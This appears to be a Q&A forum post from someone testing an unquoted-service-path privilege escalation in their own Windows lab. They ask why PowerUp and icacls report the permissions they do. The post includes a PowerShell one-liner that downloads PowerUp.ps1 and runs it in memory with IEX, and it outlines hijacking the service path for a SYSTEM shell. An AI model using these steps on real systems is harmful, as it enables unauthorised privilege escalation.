0

I have made an auto-start service from user (who is only in Administrators group and not Users) command prompt which is vulnerable to Unquoted Service Path.

Executable path: C:\Program Files\A Subfolder\B Subfolder\C Subfolder\SomeExecutable.exe

The victim machine is not joined on a Windows domain network which makes users/administrator on the system to be only local user/administrator.

Apart from the default permissions which Windows gives when installed fresh, I have only given the Write permissions to C:\Program Files\A Subfolder explicitly using icacls from the user cmd prompt who is in the Administrators group. I have the user's (only in the Users Group and not Administrators group) cmd reverse shell on my attacker's machine. I can write a malicious A.exe from this reverse shell i.e. C:\Program Files\A.exe. Upon rebooting Windows, I will get the SYSTEM shell due to Unquoted Service Path vulnerability which I indeed got as well.

For clarity, The ACL on the folders are mentioned below found using icacls:

C: BUILTIN\Administrators:(F)
   BUILTIN\Administrators:(OI)(CI)(IO)(F)
   NT AUTHORITY\SYSTEM:(F)
   NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
   BUILTIN\Users:(OI)(CI)(RX)
   NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(M)
   NT AUTHORITY\Authenticated Users:(AD)
   Mandatory Label\High Mandatory Level:(OI)(NP)(IO)(NW)

C:\Program Files\A Subfolder BUILTIN\Users:(W)
                             NT SERVICE\TrustedInstaller:(I)(F)
                             NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                             NT AUTHORITY\SYSTEM:(I)(F)
                             NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                             BUILTIN\Administrators:(I)(F)
                             BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                             BUILTIN\Users:(I)(RX)
                             BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                             CREATOR OWNER:(I)(OI)(CI)(IO)(F)

C:\Program Files\A Subfolder\B Subfolder NT SERVICE\TrustedInstaller:(I)(F)
                                         NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                         NT AUTHORITY\SYSTEM:(I)(F)
                                         NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                         BUILTIN\Administrators:(I)(F)
                                         BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                         BUILTIN\Users:(I)(RX)
                                         BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                         CREATOR OWNER:(I)(OI)(CI)(IO)(F)

C:\Program Files\A Subfolder\B Subfolder\C Subfolder NT SERVICE\TrustedInstaller:(I)(F)
                                                     NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                                     NT AUTHORITY\SYSTEM:(I)(F)
                                                     NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                                     BUILTIN\Administrators:(I)(F)
                                                     BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                                     BUILTIN\Users:(I)(RX)
                                                     BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                                     CREATOR OWNER:(I)(OI)(CI)(IO)(F)

On running:

powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1');Get-ServiceUnquoted"

from the user's reverse shell (who is in the Users group but not Administrators), I get the following for my created vulnerable service:

ServiceName    : Some Vulnerable Service
Path           : C:\Program Files\A Subfolder\B Subfolder\C Subfolder\SomeExecutable.exe
ModifiablePath : @{Permissions=AppendData/AddSubdirectory; ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'Some Vulnerable Service' -Path <HijackPath>
CanRestart     : False

ServiceName    : Some Vulnerable Service
Path           : C:\Program Files\A Subfolder\B Subfolder\C Subfolder\SomeExecutable.exe
ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'Some Vulnerable Service' -Path <HijackPath>
CanRestart     : False

# whoami /groups
GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes                                        
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE               Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192  Mandatory group, Enabled by default, Enabled group

I have the following questions:

1) Although whoami /groups shows Authenticated Users, does this mean Users group belong to the Authenticated Users group and why not vice-versa?

2) When I have the user's reverse shell (and not Authenticated Users prompt), why did Get-ServiceUnquoted function shows Modifiable Path as C:\ when instead I am not running from the Authenticated-Users cmd prompt (and have the cmd prompt only of the user who is in BUILTIN\Users group)? When I try to write/append data/add subfolders/modify to any of the file or folder in the C:\ drive from this obtained reverse shell, I obviously get the Access Denied error message.

3) Why Get-ServiceUnquoted didn't show that BUILTIN\Users have Write permissions on "C:\Program Files\A Subfolder" where this function internally calls Get-Modifiable which gives the following output if run separately:

Permissions                                     ModifiablePath                                  IdentityReference                             
-----------                                     --------------                                  -----------------                             
{WriteAttributes, WriteExtendedAttributes, W... C:\Program Files\A Subfolder                    BUILTIN\Users                                 
{ReadAttributes, ReadControl, Execute/Traver... C:\Program Files\A Subfolder\B.exe              SUMIT-PC\sumit                                
{ReadAttributes, ReadControl, Execute/Traver... C:\Program Files\A Subfolder\B Subfolder\C.exe  SUMIT-PC\sumit                               

4) When I open Windows Explorer on victim machine and make a folder, say, some in C:\, it happily makes it. When I run Get-Modifiable function from PowerUp.ps1, it gives that it indeed has the IdentityReference from Authenticated Users.

Permissions                                     ModifiablePath                                  IdentityReference                             
-----------                                     --------------                                  -----------------                             
{ReadAttributes, ReadControl, Execute/Traver... C:\some                                         NT AUTHORITY\Authenticated Users              
{GenericWrite, Delete, GenericExecute, Gener... C:\some                                         NT AUTHORITY\Authenticated Users              

But if I open the users cmd prompt (who is in User Group and not Administrators) make a folder through mkdir C:\some, it throws the error Access is Denied. obviously. What is the difference between making a file/folder in through GUI Windows Explorer and through command line?

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.